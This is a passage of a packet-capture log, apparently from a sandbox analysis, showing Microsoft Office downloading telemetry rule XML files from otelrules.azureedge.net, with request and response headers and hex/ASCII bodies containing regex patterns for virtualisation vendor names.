DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-16547b76f7fbkfmzhC1DFWm9tw00000000p000000000c3hd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 53ec7209-c01e-0046-37a2-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-164f84587bfm8kdnhC1DFWey4g000000011g000000009wca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-16547b76f7fmbrhqhC1DFWkds80000000n1g000000001610 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-164f84587bf2rt9xhC1DFW8drg00000000x0000000005e8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:20 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085520Z-16547b76f7fcrtpchC1DFW52e80000000mug00000000gzct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:20 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085520Z-16547b76f7fffb7lhC1DFWdsxg000000013g00000000kd30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:20 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085520Z-16547b76f7fxdzxghC1DFWmf7n0000000my000000000cy74 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:20 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085520Z-16547b76f7f7rtshhC1DFWrtqn0000000mx000000000a469 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:20 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2697cdeb-f01e-003c-0c8d-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085520Z-164f84587bfjxw6fhC1DFWq9440000000170000000004d36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:21 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:21 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085521Z-1866b5c5fbbt75vghC1DFW0qd400000000y0000000007gc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:21 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:21 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:21 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:21 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085521Z-16547b76f7ftnm6xhC1DFW9c8c00000000m000000000cx87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:21 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:21 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:21 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 31218528-d01e-0082-6eee-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085521Z-1866b5c5fbbfncq9hC1DFW7rf800000000xg00000000d8ny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
